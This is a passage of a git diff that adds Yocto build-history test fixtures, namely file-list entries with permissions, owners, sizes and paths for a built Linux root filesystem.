+-rw-r--r-- root root 1564 ./usr/share/mime/image/x-gimp-pat.xml
+-rw-r--r-- root root 3863 ./usr/share/mime/image/x-gzeps.xml
+-rw-r--r-- root root 2927 ./usr/share/mime/image/x-icns.xml
+-rw-r--r-- root root 3043 ./usr/share/mime/image/x-ilbm.xml
+-rw-r--r-- root root 2863 ./usr/share/mime/image/x-jng.xml
+-rw-r--r-- root root 1821 ./usr/share/mime/image/x-jp2-codestream.xml
+-rw-r--r-- root root 3442 ./usr/share/mime/image/x-kodak-dcr.xml
+-rw-r--r-- root root 3428 ./usr/share/mime/image/x-kodak-k25.xml
+-rw-r--r-- root root 3444 ./usr/share/mime/image/x-kodak-kdc.xml
+-rw-r--r-- root root 3140 ./usr/share/mime/image/x-lwo.xml
+-rw-r--r-- root root 3058 ./usr/share/mime/image/x-lws.xml
+-rw-r--r-- root root 3324 ./usr/share/mime/image/x-macpaint.xml
+-rw-r--r-- root root 3495 ./usr/share/mime/image/x-minolta-mrw.xml
+-rw-r--r-- root root 2793 ./usr/share/mime/image/x-msod.xml
+-rw-r--r-- root root 2665 ./usr/share/mime/image/x-niff.xml
+-rw-r--r-- root root 3442 ./usr/share/mime/image/x-nikon-nef.xml
+-rw-r--r-- root root 3607 ./usr/share/mime/image/x-olympus-orf.xml
+-rw-r--r-- root root 3360 ./usr/share/mime/image/x-panasonic-rw2.xml
+-rw-r--r-- root root 3358 ./usr/share/mime/image/x-panasonic-rw.xml
+-rw-r--r-- root root 3499 ./usr/share/mime/image/x-pentax-pef.xml
+-rw-r--r-- root root 2793 ./usr/share/mime/image/x-photo-cd.xml
+-rw-r--r-- root root 3911 ./usr/share/mime/image/x-pict.xml
+-rw-r--r-- root root 2789 ./usr/share/mime/image/x-portable-anymap.xml
+-rw-r--r-- root root 2904 ./usr/share/mime/image/x-portable-bitmap.xml
+-rw-r--r-- root root 2830 ./usr/share/mime/image/x-portable-graymap.xml
+-rw-r--r-- root root 2828 ./usr/share/mime/image/x-portable-pixmap.xml
+-rw-r--r-- root root 2989 ./usr/share/mime/image/x-quicktime.xml
+-rw-r--r-- root root 2784 ./usr/share/mime/image/x-rgb.xml
+-rw-r--r-- root root 2640 ./usr/share/mime/image/x-sgi.xml
+-rw-r--r-- root root 3400 ./usr/share/mime/image/x-sigma-x3f.xml
+-rw-r--r-- root root 2956 ./usr/share/mime/image/x-skencil.xml
+-rw-r--r-- root root 3388 ./usr/share/mime/image/x-sony-arw.xml
+-rw-r--r-- root root 3388 ./usr/share/mime/image/x-sony-sr2.xml
+-rw-r--r-- root root 3387 ./usr/share/mime/image/x-sony-srf.xml
+-rw-r--r-- root root 3040 ./usr/share/mime/image/x-sun-raster.xml
+-rw-r--r-- root root 2867 ./usr/share/mime/image/x-tga.xml
+-rw-r--r-- root root 2644 ./usr/share/mime/image/x-tiff-multipage.xml
+-rw-r--r-- root root 2941 ./usr/share/mime/image/x-win-bitmap.xml
+-rw-r--r-- root root 2721 ./usr/share/mime/image/x-xbitmap.xml
+-rw-r--r-- root root 2832 ./usr/share/mime/image/x-xcf.xml
+-rw-r--r-- root root 2592 ./usr/share/mime/image/x-xcursor.xml
+-rw-r--r-- root root 2753 ./usr/share/mime/image/x-xfig.xml
+-rw-r--r-- root root 2798 ./usr/share/mime/image/x-xpixmap.xml
+-rw-r--r-- root root 3109 ./usr/share/mime/image/x-xwindowdump.xml
+drwxr-xr-x root root 4096 ./usr/share/mime/inode
+-rw-r--r-- root root 3006 ./usr/share/mime/inode/blockdevice.xml
+-rw-r--r-- root root 3145 ./usr/share/mime/inode/chardevice.xml
+-rw-r--r-- root root 2543 ./usr/share/mime/inode/directory.xml
+-rw-r--r-- root root 2413 ./usr/share/mime/inode/fifo.xml
+-rw-r--r-- root root 3021 ./usr/share/mime/inode/mount-point.xml
+-rw-r--r-- root root 2469 ./usr/share/mime/inode/socket.xml
+-rw-r--r-- root root 3295 ./usr/share/mime/inode/symlink.xml
+-rw-r--r-- root root 27700 ./usr/share/mime/magic
+drwxr-xr-x root root 4096 ./usr/share/mime/message
+-rw-r--r-- root root 3735 ./usr/share/mime/message/delivery-status.xml
+-rw-r--r-- root root 3771 ./usr/share/mime/message/disposition-notification.xml
+-rw-r--r-- root root 3777 ./usr/share/mime/message/external-body.xml
+-rw-r--r-- root root 3617 ./usr/share/mime/message/news.xml
+-rw-r--r-- root root 3728 ./usr/share/mime/message/partial.xml
+-rw-r--r-- root root 3183 ./usr/share/mime/message/rfc822.xml
+-rw-r--r-- root root 3427 ./usr/share/mime/message/x-gnu-rmail.xml
+-rw-r--r-- root root 136104 ./usr/share/mime/mime.cache
+drwxr-xr-x root root 4096 ./usr/share/mime/model
+-rw-r--r-- root root 2003 ./usr/share/mime/model/iges.xml
+-rw-r--r-- root root 1695 ./usr/share/mime/model/stl.xml
+-rw-r--r-- root root 3189 ./usr/share/mime/model/vrml.xml
+drwxr-xr-x root root 4096 ./usr/share/mime/multipart
+-rw-r--r-- root root 3761 ./usr/share/mime/multipart/alternative.xml
+-rw-r--r-- root root 4361 ./usr/share/mime/multipart/appledouble.xml
+-rw-r--r-- root root 3157 ./usr/share/mime/multipart/digest.xml
+-rw-r--r-- root root 3267 ./usr/share/mime/multipart/encrypted.xml
+-rw-r--r-- root root 3191 ./usr/share/mime/multipart/mixed.xml
+-rw-r--r-- root root 3209 ./usr/share/mime/multipart/related.xml
+-rw-r--r-- root root 3556 ./usr/share/mime/multipart/report.xml
+-rw-r--r-- root root 3203 ./usr/share/mime/multipart/signed.xml
+-rw-r--r-- root root 3867 ./usr/share/mime/multipart/x-mixed-replace.xml
+-rw-r--r-- root root 16073 ./usr/share/mime/subclasses
+drwxr-xr-x root root 4096 ./usr/share/mime/text
+-rw-r--r-- root root 1172 ./usr/share/mime/text/cache-manifest.xml
+-rw-r--r-- root root 3178 ./usr/share/mime/text/calendar.xml
+-rw-r--r-- root root 3113 ./usr/share/mime/text/css.xml
+-rw-r--r-- root root 2266 ./usr/share/mime/text/csv-schema.xml
+-rw-r--r-- root root 3027 ./usr/share/mime/text/csv.xml
+-rw-r--r-- root root 3801 ./usr/share/mime/text/enriched.xml
+-rw-r--r-- root root 3017 ./usr/share/mime/text/htmlh.xml
+-rw-r--r-- root root 2991 ./usr/share/mime/text/html.xml
+-rw-r--r-- root root 2600 ./usr/share/mime/text/markdown.xml
+-rw-r--r-- root root 3420 ./usr/share/mime/text/plain.xml
+-rw-r--r-- root root 3291 ./usr/share/mime/text/rfc822-headers.xml
+-rw-r--r-- root root 3602 ./usr/share/mime/text/richtext.xml
+-rw-r--r-- root root 2164 ./usr/share/mime/text/rust.xml
+-rw-r--r-- root root 3073 ./usr/share/mime/text/sgml.xml
+-rw-r--r-- root root 3961 ./usr/share/mime/text/spreadsheet.xml
+-rw-r--r-- root root 2849 ./usr/share/mime/text/tab-separated-values.xml
+-rw-r--r-- root root 3191 ./usr/share/mime/text/troff.xml
+-rw-r--r-- root root 2106 ./usr/share/mime/text/turtle.xml
+-rw-r--r-- root root 3618 ./usr/share/mime/text/vcard.xml
+-rw-r--r-- root root 2914 ./usr/share/mime/text/vnd.graphviz.xml
+-rw-r--r-- root root 3253 ./usr/share/mime/text/vnd.qt.linguist.xml
+-rw-r--r-- root root 3050 ./usr/share/mime/text/vnd.rn-realtext.xml
+-rw-r--r-- root root 1636 ./usr/share/mime/text/vnd.senx.warpscript.xml
+-rw-r--r-- root root 2876 ./usr/share/mime/text/vnd.sun.j2me.app-descriptor.xml
+-rw-r--r-- root root 3020 ./usr/share/mime/text/vnd.wap.wmlscript.xml
+-rw-r--r-- root root 3039 ./usr/share/mime/text/vnd.wap.wml.xml
+-rw-r--r-- root root 2632 ./usr/share/mime/text/vtt.xml
+-rw-r--r-- root root 3143 ./usr/share/mime/text/x-adasrc.xml
+-rw-r--r-- root root 2961 ./usr/share/mime/text/x-authors.xml
+-rw-r--r-- root root 3040 ./usr/share/mime/text/x-bibtex.xml
+-rw-r--r-- root root 3310 ./usr/share/mime/text/x-changelog.xml
+-rw-r--r-- root root 3007 ./usr/share/mime/text/x-c++hdr.xml
+-rw-r--r-- root root 2803 ./usr/share/mime/text/x-chdr.xml
+-rw-r--r-- root root 3188 ./usr/share/mime/text/x-cmake.xml
+-rw-r--r-- root root 1168 ./usr/share/mime/text/x-cobol.xml
+-rw-r--r-- root root 3113 ./usr/share/mime/text/x-copying.xml
+-rw-r--r-- root root 3127 ./usr/share/mime/text/x-credits.xml
+-rw-r--r-- root root 3074 ./usr/share/mime/text/x-csharp.xml
+-rw-r--r-- root root 3250 ./usr/share/mime/text/x-c++src.xml
+-rw-r--r-- root root 3064 ./usr/share/mime/text/x-csrc.xml
+-rw-r--r-- root root 1989 ./usr/share/mime/text/x-dbus-service.xml
+-rw-r--r-- root root 3032 ./usr/share/mime/text/x-dcl.xml
+-rw-r--r-- root root 3236 ./usr/share/mime/text/x-dsl.xml
+-rw-r--r-- root root 2994 ./usr/share/mime/text/x-dsrc.xml
+-rw-r--r-- root root 3254 ./usr/share/mime/text/x-eiffel.xml
+-rw-r--r-- root root 3617 ./usr/share/mime/text/x-emacs-lisp.xml
+-rw-r--r-- root root 3221 ./usr/share/mime/text/x-erlang.xml
+-rw-r--r-- root root 3527 ./usr/share/mime/text/x-fortran.xml
+-rw-r--r-- root root 1710 ./usr/share/mime/text/x.gcode.xml
+-rw-r--r-- root root 2317 ./usr/share/mime/text/x-genie.xml
+-rw-r--r-- root root 3320 ./usr/share/mime/text/x-gettext-translation-template.xml
+-rw-r--r-- root root 3221 ./usr/share/mime/text/x-gettext-translation.xml
+-rw-r--r-- root root 1013 ./usr/share/mime/text/x-gherkin.xml
+-rw-r--r-- root root 1138 ./usr/share/mime/text/x-google-video-pointer.xml
+-rw-r--r-- root root 2539 ./usr/share/mime/text/x-go.xml
+-rw-r--r-- root root 1644 ./usr/share/mime/text/x-gradle.xml
+-rw-r--r-- root root 1179 ./usr/share/mime/text/x-groovy.xml
+-rw-r--r-- root root 3360 ./usr/share/mime/text/x-haskell.xml
+-rw-r--r-- root root 3033 ./usr/share/mime/text/x-idl.xml
+-rw-r--r-- root root 3023 ./usr/share/mime/text/x-imelody.xml
+-rw-r--r-- root root 3418 ./usr/share/mime/text/x-install.xml
+-rw-r--r-- root root 3599 ./usr/share/mime/text/x-iptables.xml
+-rw-r--r-- root root 3086 ./usr/share/mime/text/x-java.xml
+-rw-r--r-- root root 3167 ./usr/share/mime/text/x-ldif.xml
+-rw-r--r-- root root 3110 ./usr/share/mime/text/x-lilypond.xml
+-rw-r--r-- root root 3063 ./usr/share/mime/text/x-literate-haskell.xml
+-rw-r--r-- root root 3190 ./usr/share/mime/text/x-log.xml
+-rw-r--r-- root root 2802 ./usr/share/mime/text/x-lua.xml
+-rw-r--r-- root root 1200 ./usr/share/mime/text/x-makefile.xml
+-rw-r--r-- root root 985 ./usr/share/mime/text/x-matlab.xml
+-rw-r--r-- root root 1881 ./usr/share/mime/text/x-maven+xml.xml
+-rw-r--r-- root root 3157 ./usr/share/mime/text/xmcd.xml
+-rw-r--r-- root root 2231 ./usr/share/mime/text/x-meson.xml
+-rw-r--r-- root root 3177 ./usr/share/mime/text/x-microdvd.xml
+-rw-r--r-- root root 2799 ./usr/share/mime/text/x-moc.xml
+-rw-r--r-- root root 2267 ./usr/share/mime/text/x-modelica.xml
+-rw-r--r-- root root 957 ./usr/share/mime/text/x-mof.xml
+-rw-r--r-- root root 3100 ./usr/share/mime/text/x-mpsub.xml
+-rw-r--r-- root root 3359 ./usr/share/mime/text/x-mrml.xml
+-rw-r--r-- root root 3496 ./usr/share/mime/text/x-ms-regedit.xml
+-rw-r--r-- root root 1114 ./usr/share/mime/text/x-mup.xml
+-rw-r--r-- root root 2801 ./usr/share/mime/text/x-nfo.xml
+-rw-r--r-- root root 3537 ./usr/share/mime/text/x-objcsrc.xml
+-rw-r--r-- root root 3076 ./usr/share/mime/text/x-ocaml.xml
+-rw-r--r-- root root 2703 ./usr/share/mime/text/x-ocl.xml
+-rw-r--r-- root root 2654 ./usr/share/mime/text/x-ooc.xml
+-rw-r--r-- root root 1909 ./usr/share/mime/text/x-opencl-src.xml
+-rw-r--r-- root root 3116 ./usr/share/mime/text/x-opml+xml.xml
+-rw-r--r-- root root 3227 ./usr/share/mime/text/x-pascal.xml
+-rw-r--r-- root root 3558 ./usr/share/mime/text/x-patch.xml
+-rw-r--r-- root root 1829 ./usr/share/mime/text/x-python3.xml
+-rw-r--r-- root root 3116 ./usr/share/mime/text/x-python.xml
+-rw-r--r-- root root 2865 ./usr/share/mime/text/x-qml.xml
+-rw-r--r-- root root 3185 ./usr/share/mime/text/x-readme.xml
+-rw-r--r-- root root 3144 ./usr/share/mime/text/x-reject.xml
+-rw-r--r-- root root 3198 ./usr/share/mime/text/x-rpm-spec.xml
+-rw-r--r-- root root 1880 ./usr/share/mime/text/x-rst.xml
+-rw-r--r-- root root 2443 ./usr/share/mime/text/x-sass.xml
+-rw-r--r-- root root 2616 ./usr/share/mime/text/x-scala.xml
+-rw-r--r-- root root 3324 ./usr/share/mime/text/x-scheme.xml
+-rw-r--r-- root root 2573 ./usr/share/mime/text/x-scons.xml
+-rw-r--r-- root root 1132 ./usr/share/mime/text/x-scss.xml
+-rw-r--r-- root root 3114 ./usr/share/mime/text/x-setext.xml
+-rw-r--r-- root root 2929 ./usr/share/mime/text/x-ssa.xml
+-rw-r--r-- root root 3142 ./usr/share/mime/text/x-subviewer.xml
+-rw-r--r-- root root 2665 ./usr/share/mime/text/x-svhdr.xml
+-rw-r--r-- root root 2853 ./usr/share/mime/text/x-svsrc.xml
+-rw-r--r-- root root 2364 ./usr/share/mime/text/x-systemd-unit.xml
+-rw-r--r-- root root 2818 ./usr/share/mime/text/x-tcl.xml
+-rw-r--r-- root root 3204 ./usr/share/mime/text/x-texinfo.xml
+-rw-r--r-- root root 3092 ./usr/share/mime/text/x-tex.xml
+-rw-r--r-- root root 3580 ./usr/share/mime/text/x-troff-me.xml
+-rw-r--r-- root root 3580 ./usr/share/mime/text/x-troff-mm.xml
+-rw-r--r-- root root 3580 ./usr/share/mime/text/x-troff-ms.xml
+-rw-r--r-- root root 1811 ./usr/share/mime/text/x-twig.xml
+-rw-r--r-- root root 3150 ./usr/share/mime/text/x-txt2tags.xml
+-rw-r--r-- root root 3074 ./usr/share/mime/text/x-uil.xml
+-rw-r--r-- root root 3061 ./usr/share/mime/text/x-uri.xml
+-rw-r--r-- root root 2586 ./usr/share/mime/text/x-uuencode.xml
+-rw-r--r-- root root 3062 ./usr/share/mime/text/x-vala.xml
+-rw-r--r-- root root 2676 ./usr/share/mime/text/x-verilog.xml
+-rw-r--r-- root root 2711 ./usr/share/mime/text/x-vhdl.xml
+-rw-r--r-- root root 2710 ./usr/share/mime/text/x-xmi.xml
+-rw-r--r-- root root 2956 ./usr/share/mime/text/x-xslfo.xml
+-rw-r--r-- root root 1140 ./usr/share/mime/treemagic
+-rw-r--r-- root root 17478 ./usr/share/mime/types
+-rw-r--r-- root root 5 ./usr/share/mime/version
+drwxr-xr-x root root 4096 ./usr/share/mime/video
+-rw-r--r-- root root 3285 ./usr/share/mime/video/3gpp2.xml
+-rw-r--r-- root root 3885 ./usr/share/mime/video/3gpp.xml
+-rw-r--r-- root root 1021 ./usr/share/mime/video/annodex.xml
+-rw-r--r-- root root 2734 ./usr/share/mime/video/dv.xml
+-rw-r--r-- root root 2779 ./usr/share/mime/video/isivideo.xml
+-rw-r--r-- root root 1888 ./usr/share/mime/video/mj2.xml
+-rw-r--r-- root root 3455 ./usr/share/mime/video/mp2t.xml
+-rw-r--r-- root root 3007 ./usr/share/mime/video/mp4.xml
+-rw-r--r-- root root 3190 ./usr/share/mime/video/mpeg.xml
+-rw-r--r-- root root 979 ./usr/share/mime/video/ogg.xml
+-rw-r--r-- root root 3114 ./usr/share/mime/video/quicktime.xml
+-rw-r--r-- root root 2948 ./usr/share/mime/video/vnd.mpegurl.xml
+-rw-r--r-- root root 3172 ./usr/share/mime/video/vnd.rn-realvideo.xml
+-rw-r--r-- root root 2913 ./usr/share/mime/video/vnd.vivo.xml
+-rw-r--r-- root root 3006 ./usr/share/mime/video/wavelet.xml
+-rw-r--r-- root root 2461 ./usr/share/mime/video/webm.xml
+-rw-r--r-- root root 3073 ./usr/share/mime/video/x-anim.xml
+-rw-r--r-- root root 2944 ./usr/share/mime/video/x-flic.xml
+-rw-r--r-- root root 2995 ./usr/share/mime/video/x-flv.xml
+-rw-r--r-- root root 2533 ./usr/share/mime/video/x-javafx.xml
+-rw-r--r-- root root 2381 ./usr/share/mime/video/x-matroska-3d.xml
+-rw-r--r-- root root 3095 ./usr/share/mime/video/x-matroska.xml
+-rw-r--r-- root root 1841 ./usr/share/mime/video/x-mjpeg.xml
+-rw-r--r-- root root 2935 ./usr/share/mime/video/x-mng.xml
+-rw-r--r-- root root 3153 ./usr/share/mime/video/x-msvideo.xml
+-rw-r--r-- root root 3200 ./usr/share/mime/video/x-ms-wmv.xml
+-rw-r--r-- root root 2934 ./usr/share/mime/video/x-nsv.xml
+-rw-r--r-- root root 2782 ./usr/share/mime/video/x-ogm+ogg.xml
+-rw-r--r-- root root 2811 ./usr/share/mime/video/x-sgi-movie.xml
+-rw-r--r-- root root 3102 ./usr/share/mime/video/x-theora+ogg.xml
+drwxr-xr-x root root 4096 ./usr/share/mime/x-content
+-rw-r--r-- root root 2504 ./usr/share/mime/x-content/audio-cdda.xml
+-rw-r--r-- root root 2531 ./usr/share/mime/x-content/audio-dvd.xml
+-rw-r--r-- root root 3388 ./usr/share/mime/x-content/audio-player.xml
+-rw-r--r-- root root 2971 ./usr/share/mime/x-content/blank-bd.xml
+-rw-r--r-- root root 2700 ./usr/share/mime/x-content/blank-cd.xml
+-rw-r--r-- root root 2732 ./usr/share/mime/x-content/blank-dvd.xml
+-rw-r--r-- root root 2889 ./usr/share/mime/x-content/blank-hddvd.xml
+-rw-r--r-- root root 2640 ./usr/share/mime/x-content/ebook-reader.xml
+-rw-r--r-- root root 2917 ./usr/share/mime/x-content/image-dcf.xml
+-rw-r--r-- root root 2565 ./usr/share/mime/x-content/image-picturecd.xml
+-rw-r--r-- root root 1123 ./usr/share/mime/x-content/ostree-repository.xml
+-rw-r--r-- root root 2645 ./usr/share/mime/x-content/software.xml
+-rw-r--r-- root root 2645 ./usr/share/mime/x-content/unix-software.xml
+-rw-r--r-- root root 3122 ./usr/share/mime/x-content/video-bluray.xml
+-rw-r--r-- root root 2627 ./usr/share/mime/x-content/video-dvd.xml
+-rw-r--r-- root root 2977 ./usr/share/mime/x-content/video-hddvd.xml
+-rw-r--r-- root root 2791 ./usr/share/mime/x-content/video-svcd.xml
+-rw-r--r-- root root 2509 ./usr/share/mime/x-content/video-vcd.xml
+-rw-r--r-- root root 2773 ./usr/share/mime/x-content/win32-software.xml
+drwxr-xr-x root root 4096 ./usr/share/mime/x-epoc
+-rw-r--r-- root root 2878 ./usr/share/mime/x-epoc/x-sisx-app.xml
+-rw-r--r-- root root 1631 ./usr/share/mime/XMLnamespaces
+drwxr-xr-x root root 4096 ./usr/share/misc
+drwxr-xr-x root root 4096 ./usr/share/pkgconfig
+-rw-r--r-- root root 328 ./usr/share/pkgconfig/bash-completion.pc
+-rw-r--r-- root root 120 ./usr/share/pkgconfig/shared-mime-info.pc
+-rw-r--r-- root root 90 ./usr/share/pkgconfig/udev.pc
+-rw-r--r-- root root 384 ./usr/share/pkgconfig/xorg-macros.pc
+-rw-r--r-- root root 213 ./usr/share/pkgconfig/xtrans.pc
+drwxr-xr-x root root 4096 ./usr/share/ss
+-rw-r--r-- root root 1551 ./usr/share/ss/ct_c.awk
+-rw-r--r-- root root 2290 ./usr/share/ss/ct_c.sed
+drwxr-xr-x root root 4096 ./usr/share/tabset
+-rw-r--r-- root root 135 ./usr/share/tabset/std
+-rw-r--r-- root root 95 ./usr/share/tabset/stdcrt
+-rw-r--r-- root root 160 ./usr/share/tabset/vt100
+-rw-r--r-- root root 64 ./usr/share/tabset/vt300
+drwxr-xr-x root root 4096 ./usr/share/udhcpc
+-rwxr-xr-x root root 49 ./usr/share/udhcpc/default.script
+drwxr-xr-x root root 4096 ./usr/share/wayland
+-rw-r--r-- root root 1266 ./usr/share/wayland/wayland.dtd
+-rw-r--r-- root root 292 ./usr/share/wayland/wayland-scanner.mk
+-rw-r--r-- root root 131466 ./usr/share/wayland/wayland.xml
+drwxr-xr-x root root 4096 ./usr/share/X11
+-rw-r--r-- root root 1723 ./usr/share/X11/Xcms.txt
+-rw-r--r-- root root 42077 ./usr/share/X11/XErrorDB
+drwxr-xr-x root root 4096 ./usr/share/xcb
+-rw-r--r-- root root 1705 ./usr/share/xcb/bigreq.xml
+-rw-r--r-- root root 3473 ./usr/share/xcb/composite.xml
+-rw-r--r-- root root 3299 ./usr/share/xcb/damage.xml
+-rw-r--r-- root root 3155 ./usr/share/xcb/dpms.xml
+-rw-r--r-- root root 9488 ./usr/share/xcb/dri2.xml
+-rw-r--r-- root root 5638 ./usr/share/xcb/dri3.xml
+-rw-r--r-- root root 1863 ./usr/share/xcb/ge.xml
+-rw-r--r-- root root 45351 ./usr/share/xcb/glx.xml
+-rw-r--r-- root root 7335 ./usr/share/xcb/present.xml
+-rw-r--r-- root root 30366 ./usr/share/xcb/randr.xml
+-rw-r--r-- root root 5924 ./usr/share/xcb/record.xml
+-rw-r--r-- root root 23693 ./usr/share/xcb/render.xml
+-rw-r--r-- root root 5912 ./usr/share/xcb/res.xml
+-rw-r--r-- root root 6573 ./usr/share/xcb/screensaver.xml
+-rw-r--r-- root root 6039 ./usr/share/xcb/shape.xml
+-rw-r--r-- root root 4778 ./usr/share/xcb/shm.xml
+-rw-r--r-- root root 8390 ./usr/share/xcb/sync.xml
+-rw-r--r-- root root 16132 ./usr/share/xcb/xcb.xsd
+-rw-r--r-- root root 1162 ./usr/share/xcb/xc_misc.xml
+-rw-r--r-- root root 2958 ./usr/share/xcb/xevie.xml
+-rw-r--r-- root root 5900 ./usr/share/xcb/xf86dri.xml
+-rw-r--r-- root root 14673 ./usr/share/xcb/xf86vidmode.xml
+-rw-r--r-- root root 12074 ./usr/share/xcb/xfixes.xml
+-rw-r--r-- root root 3453 ./usr/share/xcb/xinerama.xml
+-rw-r--r-- root root 103534 ./usr/share/xcb/xinput.xml
+-rw-r--r-- root root 91919 ./usr/share/xcb/xkb.xml
+-rw-r--r-- root root 11134 ./usr/share/xcb/xprint.xml
+-rw-r--r-- root root 206253 ./usr/share/xcb/xproto.xml
+-rw-r--r-- root root 8260 ./usr/share/xcb/xselinux.xml
+-rw-r--r-- root root 3968 ./usr/share/xcb/xtest.xml
+-rw-r--r-- root root 5363 ./usr/share/xcb/xvmc.xml
+-rw-r--r-- root root 16061 ./usr/share/xcb/xv.xml
+drwxr-xr-x root root 4096 ./usr/share/xml
+drwxr-xr-x root root 4096 ./usr/share/xml/dbus-1
+-rw-r--r-- root root 1907 ./usr/share/xml/dbus-1/busconfig.dtd
+-rw-r--r-- root root 1226 ./usr/share/xml/dbus-1/introspect.dtd
+drwxr-xr-x root root 4096 ./usr/share/xml/fontconfig
+-rw-r--r-- root root 7250 ./usr/share/xml/fontconfig/fonts.dtd
+drwxr-xr-x root root 4096 ./usr/src
+drwxr-xr-x root root 4096 ./usr/x86_64-poky-linux
+drwxr-xr-x root root 4096 ./usr/x86_64-poky-linux/bin
+lrwxrwxrwx root root 30 ./usr/x86_64-poky-linux/bin/ar -> ../../bin/x86_64-poky-linux-ar
+lrwxrwxrwx root root 30 ./usr/x86_64-poky-linux/bin/as -> ../../bin/x86_64-poky-linux-as
+lrwxrwxrwx root root 34 ./usr/x86_64-poky-linux/bin/ld.bfd -> ../../bin/x86_64-poky-linux-ld.bfd
+lrwxrwxrwx root root 30 ./usr/x86_64-poky-linux/bin/ld -> ../../bin/x86_64-poky-linux-ld
+lrwxrwxrwx root root 35 ./usr/x86_64-poky-linux/bin/ld.gold -> ../../bin/x86_64-poky-linux-ld.gold
+lrwxrwxrwx root root 30 ./usr/x86_64-poky-linux/bin/nm -> ../../bin/x86_64-poky-linux-nm
+lrwxrwxrwx root root 35 ./usr/x86_64-poky-linux/bin/objcopy -> ../../bin/x86_64-poky-linux-objcopy
+lrwxrwxrwx root root 35 ./usr/x86_64-poky-linux/bin/objdump -> ../../bin/x86_64-poky-linux-objdump
+lrwxrwxrwx root root 34 ./usr/x86_64-poky-linux/bin/ranlib -> ../../bin/x86_64-poky-linux-ranlib
+lrwxrwxrwx root root 35 ./usr/x86_64-poky-linux/bin/readelf -> ../../bin/x86_64-poky-linux-readelf
+lrwxrwxrwx root root 33 ./usr/x86_64-poky-linux/bin/strip -> ../../bin/x86_64-poky-linux-strip
+drwxr-xr-x root root 4096 ./var
+drwxr-xr-x root root 4096 ./var/backups
+drwxr-xr-x root root 4096 ./var/cache
+drwxr-xr-x root root 4096 ./var/cache/fontconfig
+drwx------ root root 4096 ./var/cache/ldconfig
+-rw------- root root 9934 ./var/cache/ldconfig/aux-cache
+drwxr-xr-x root root 4096 ./var/db
+-rwxr-xr-x root root 4453 ./var/db/makedbs.sh
+-rw-r--r-- root root 5351 ./var/db/Makefile
+drwxr-xr-x root root 4096 ./var/lib
+drwxr-xr-x root root 4096 ./var/lib/arpd
+drwxr-xr-x messagebus messagebus 4096 ./var/lib/dbus
+drwxr-xr-x root root 4096 ./var/lib/misc
+drwxr-xr-x root root 4096 ./var/lib/urandom
+drwxr-xr-x root root 4096 ./var/local
+lrwxrwxrwx root root 11 ./var/lock -> ../run/lock
+lrwxrwxrwx root root 12 ./var/log -> volatile/log
+lrwxrwxrwx root root 6 ./var/run -> ../run
+drwxr-xr-x root root 4096 ./var/spool
+drwxrwxr-x root mail 4096 ./var/spool/mail
+lrwxrwxrwx root root 12 ./var/tmp -> volatile/tmp
+drwxr-xr-x root root 4096 ./var/volatile
diff --git a/meta/lib/oeqa/files/buildhistory_filelist2.txt b/meta/lib/oeqa/files/buildhistory_filelist2.txt
new file mode 100644
index 0000000000..ac6307060d
--- /dev/null
+++ b/meta/lib/oeqa/files/buildhistory_filelist2.txt
@@ -0,0 +1,9217 @@
+drwxr-xr-x root root 4096 ./bin
+lrwxrwxrwx root root 19 ./bin/ash -> /bin/busybox.nosuid
+lrwxrwxrwx root root 25 ./bin/base64 -> /usr/bin/base64.coreutils
+-rwxr-xr-x root root 1190872 ./bin/bash.bash
+lrwxrwxrwx root root 14 ./bin/bash -> /bin/bash.bash
+lrwxrwxrwx root root 14 ./bin/busybox -> busybox.nosuid
+-rwxr-xr-x root root 613008 ./bin/busybox.nosuid
+-rwsr-xr-x root root 59440 ./bin/busybox.suid
+lrwxrwxrwx root root 18 ./bin/cat -> /bin/cat.coreutils
+-rwxr-xr-x root root 47336 ./bin/cat.coreutils
+lrwxrwxrwx root root 21 ./bin/chattr -> /bin/chattr.e2fsprogs
+-rwxr-xr-x root root 14312 ./bin/chattr.e2fsprogs
+lrwxrwxrwx root root 20 ./bin/chgrp -> /bin/chgrp.coreutils
+-rwxr-xr-x root root 75944 ./bin/chgrp.coreutils
+lrwxrwxrwx root root 20 ./bin/chmod -> /bin/chmod.coreutils
+-rwxr-xr-x root root 71880 ./bin/chmod.coreutils
+lrwxrwxrwx root root 20 ./bin/chown -> /bin/chown.coreutils
+-rwxr-xr-x root root 80040 ./bin/chown.coreutils
+lrwxrwxrwx root root 17 ./bin/cp -> /bin/cp.coreutils
+-rwxr-xr-x root root 137416 ./bin/cp.coreutils
+lrwxrwxrwx root root 19 ./bin/cpio -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./bin/date -> /bin/date.coreutils
+-rwxr-xr-x root root 121032 ./bin/date.coreutils
+lrwxrwxrwx root root 17 ./bin/dd -> /bin/dd.coreutils
+-rwxr-xr-x root root 88272 ./bin/dd.coreutils
+lrwxrwxrwx root root 21 ./bin/df -> /usr/bin/df.coreutils
+lrwxrwxrwx root root 21 ./bin/dmesg -> /bin/dmesg.util-linux
+-rwxr-xr-x root root 84256 ./bin/dmesg.util-linux
+lrwxrwxrwx root root 19 ./bin/dnsdomainname -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./bin/dumpkmap -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./bin/echo -> /bin/echo.coreutils
+-rwxr-xr-x root root 39064 ./bin/echo.coreutils
+lrwxrwxrwx root root 15 ./bin/egrep -> /bin/egrep.grep
+-rwxr-xr-x root root 28 ./bin/egrep.grep
+lrwxrwxrwx root root 20 ./bin/false -> /bin/false.coreutils
+-rwxr-xr-x root root 39064 ./bin/false.coreutils
+lrwxrwxrwx root root 15 ./bin/fgrep -> /bin/fgrep.grep
+-rwxr-xr-x root root 28 ./bin/fgrep.grep
+lrwxrwxrwx root root 22 ./bin/getopt -> /bin/getopt.util-linux
+-rwxr-xr-x root root 22576 ./bin/getopt.util-linux
+lrwxrwxrwx root root 14 ./bin/grep -> /bin/grep.grep
+-rwxr-xr-x root root 244016 ./bin/grep.grep
+lrwxrwxrwx root root 19 ./bin/gunzip -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./bin/gzip -> /bin/busybox.nosuid
+lrwxrwxrwx root root 23 ./bin/hostname -> /bin/hostname.coreutils
+-rwxr-xr-x root root 43176 ./bin/hostname.coreutils
+lrwxrwxrwx root root 16 ./bin/kill -> /bin/kill.procps
+-rwxr-xr-x root root 47712 ./bin/kill.coreutils
+-rwxr-xr-x root root 30760 ./bin/kill.procps
+-rwxr-xr-x root root 38960 ./bin/kill.util-linux
+-rwxr-xr-x root root 149648 ./bin/kmod
+lrwxrwxrwx root root 17 ./bin/ln -> /bin/ln.coreutils
